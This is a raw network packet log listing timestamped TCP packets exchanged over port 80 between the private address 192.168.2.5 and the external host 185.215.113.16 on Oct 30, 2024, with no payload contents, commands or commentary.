Oct 30, 2024 00:20:16.589958906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.589973927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.589986086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590007067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590020895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590034962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590058088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590058088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590101957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590130091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590140104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590145111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590159893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590174913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590181112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590194941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590214968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590217113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590229988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590245962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590249062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590260029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590286970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590292931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590306997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590321064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590331078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590342045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590356112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590359926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590372086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590388060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590404987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590408087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590424061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590440035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590444088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590456009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590467930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590471029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590486050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590495110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590501070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590517044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590532064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590532064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590548038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590555906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590564013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590579987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590581894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590595007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590610027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590621948 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.590626001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.590647936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.637634993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.687377930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.693550110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.693784952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.693814039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.693829060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.693840981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.693844080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.693860054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.693873882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.693881035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.693900108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.693907976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.693916082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.693931103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.693936110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.693963051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.693978071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.693991899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694001913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694006920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694020987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694036007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694050074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694066048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694072962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694097996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694104910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694139004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694144011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694154024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694169044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694188118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694190979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694205999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694221973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694236994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694242954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694262028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694273949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694276094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694291115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694305897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694314957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694319963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694334984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694335938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694350004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694365025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694386005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694394112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694432974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694453001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694468975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694469929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694483995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694504976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694504976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694523096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694536924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694542885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694550991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694566011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694580078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694586039 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694595098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694610119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694610119 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694624901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694633961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694638968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694653988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694669008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694694042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694694042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694739103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694753885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694767952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694777012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694782019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694801092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694802999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694819927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694835901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694840908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694849968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694866896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694879055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694880962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694897890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694905043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694912910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694927931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694942951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694960117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694979906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.694983959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694983959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.694983959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695046902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695066929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695081949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695086956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695096016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695111036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695132971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695133924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695153952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695163012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695168018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695189953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695189953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695205927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695219994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695230961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695235014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695250034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695255995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695264101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695278883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695293903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695310116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695329905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695329905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695354939 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695374012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695389032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695403099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695417881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695434093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695440054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695455074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695467949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695470095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695486069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695491076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695501089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695522070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695525885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695537090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695558071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695559025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695571899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695585966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695600986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695607901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695617914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695631027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695632935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695647001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695657969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695662022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695684910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695707083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695724010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695740938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695761919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695777893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695791960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695806026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695812941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695826054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695836067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695851088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695866108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695868969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695879936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695897102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695910931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695919991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695935011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695940018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695949078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695964098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695976019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.695980072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.695996046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696010113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696029902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696029902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696074963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696089983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696104050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696121931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696127892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696146965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696150064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696161985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696177006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696192026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696198940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696207047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696222067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696222067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696237087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696244955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696249962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696265936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696270943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696286917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696302891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696312904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696316957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696331978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696338892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696346998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696362972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696374893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696377993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696393013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696402073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696408033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696423054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696425915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696439028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696455956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696482897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696507931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696512938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696528912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696543932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696561098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696576118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696583986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696590900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696607113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696610928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696625948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696635962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696639061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696656942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696662903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696671009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696686029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696700096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696703911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696713924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696723938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696728945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696744919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696751118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696759939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696779966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696796894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696825981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696830988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696852922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696867943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696883917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696893930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696899891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696923971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696923971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696940899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696955919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696969986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.696970940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696985960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.696995020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697000980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697016954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697019100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697032928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697051048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697056055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697066069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697079897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697101116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697115898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697137117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697156906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697175026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697190046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697196960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697206020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697227001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697242022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697248936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697257042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697271109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697273016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697289944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697298050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697304964 CET	80	49712	185.215.113.16	192.168.2.5
